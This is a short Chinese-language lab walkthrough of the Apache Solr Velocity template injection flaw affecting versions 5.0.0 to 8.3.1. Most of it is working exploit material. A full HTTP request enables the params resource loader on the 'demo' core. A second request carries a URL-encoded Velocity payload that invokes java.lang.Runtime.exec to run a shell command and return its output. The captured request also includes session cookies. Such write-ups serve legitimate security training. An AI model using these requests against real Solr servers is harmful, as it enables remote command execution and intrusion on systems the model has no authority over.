Apache Solr 5.0.0版本至8.3.1版本中存在输入验证错误漏洞。攻击者可借助自定义的Velocity模板功能,利用Velocity-SSTI漏洞在Solr系统上执行任意代码。
1.打开靶场环境
2.访问页面默认会有一个叫demo的core
3.通过访问特定url启用配置params.resource.loader.enabled,其中API路径包含刚才获取的core名称:
POST /solr/demo/config HTTP/1.1
Host: 123.58.224.8:36122
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
doNotIntercept: true
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://123.58.224.8:36122/solr/
Cookie: Hm_lvt_deaeca6802357287fb453f342ce28dda=1661606197; csrf_2698a4=b425a1c9; _ga=GA1.1.2104325447.1662173640; JSESSIONID=7D14C3C2E90BB2CC4C21AEA19A01C2D5
Content-Length: 259{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
4.注入Velocity模板即可执行任意命令
POST /solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27ls%20/tmp%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Velocity是一个基于Java的模板引擎,可以通过特定的语法获取在java对象的数据,填充到模板中,从而实现界面和java代码的分离